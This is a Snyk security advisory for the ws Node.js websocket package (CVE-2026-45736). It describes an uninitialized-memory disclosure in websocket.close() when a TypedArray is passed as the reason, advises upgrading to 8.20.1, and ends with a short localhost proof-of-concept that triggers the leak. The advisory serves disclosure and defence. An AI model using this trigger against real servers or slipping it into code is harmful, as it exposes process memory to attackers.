Use of Uninitialized Resource Affecting ws package, versions >=8.0.0 <8.20.1
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-JS-WS-16722635
- published17 May 2026
- disclosed11 May 2026
- creditNikita Skovoroda
Introduced: 11 May 2026
NewCVE-2026-45736 (opens in a new tab)How to fix?
Upgrade ws to version 8.20.1 or higher.
Overview
ws is a simple to use websocket client, server and console for node.js.
Affected versions of this package are vulnerable to Use of Uninitialized Resource in the websocket.close() implementation in the Sender class, which exposes uninitialized memory when a TypedArray is provided as the reason argument.
Note: The project maintainers note that this "flaw is only exploitable through misuse that is unlikely in practice".
PoC
import { deepStrictEqual } from 'node:assert';
import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer(
{ port: 0, skipUTF8Validation: true },
function () {
const { port } = wss.address();
const ws = new WebSocket(`ws://localhost:${port}`, {
skipUTF8Validation: true
});
ws.on('close', function (code, reason) {
deepStrictEqual(reason, Buffer.alloc(80));
});
}
);
wss.on('connection', function (ws) {
ws.close(1000, new Float32Array(20));
});